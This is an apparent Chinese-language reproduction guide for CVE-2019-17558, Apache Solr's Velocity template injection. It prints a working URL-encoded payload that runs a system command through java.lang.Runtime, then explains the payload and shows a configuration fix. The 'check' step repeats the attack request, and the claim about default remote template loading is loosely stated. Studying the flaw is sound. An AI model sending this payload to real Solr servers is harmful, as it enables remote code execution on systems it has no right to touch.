Apache Solr是一个流行的开源搜索平台,基于Apache Lucene构建。Velocity模板注入漏洞(CVE-2019-17558)影响Solr 5.0.0至8.3.1版本,允许攻击者通过精心构造的HTTP请求在服务器上执行任意代码。
该漏洞源于Solr的Velocity响应编写器(velocity response writer)功能,当Solr配置为使用Velocity模板时,攻击者可以注入恶意Velocity模板代码,导致服务器端模板注入,最终实现远程代码执行(RCE)。
关键点:
- Solr默认包含params.resource.loader.enabled
设置,允许加载远程模板
- Velocity模板引擎允许执行Java代码
- 攻击者可以控制模板内容
bin/solr start
bin/solr create -c test_core
步骤1:检查是否启用Velocity
GET /solr/test_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: target.com
步骤2:执行任意命令
以下请求将执行id
命令并返回结果:
GET /solr/test_core/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: target.com
上述Payload的工作原理:
%23set($x=%27%27)
- 初始化变量%23set($rt=$x.class.forName(%27java.lang.Runtime%27))
- 获取Runtime类%23set($chr=$x.class.forName(%27java.lang.Character%27))
- 获取Character类%23set($str=$x.class.forName(%27java.lang.String%27))
- 获取String类%23set($ex=$rt.getRuntime().exec(%27id%27))
- 执行系统命令$ex.waitFor()
- 等待命令执行完成%23set($out=$ex.getInputStream())
- 获取命令输出流%23foreach
循环读取并输出命令结果xml
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
<bool name="params.resource.loader.enabled">false</bool>
</queryResponseWriter>
此漏洞展示了模板注入攻击的威力,特别是当模板引擎能够访问底层系统功能时。开发人员应始终对用户提供的模板内容进行严格过滤,并禁用不必要的功能组件。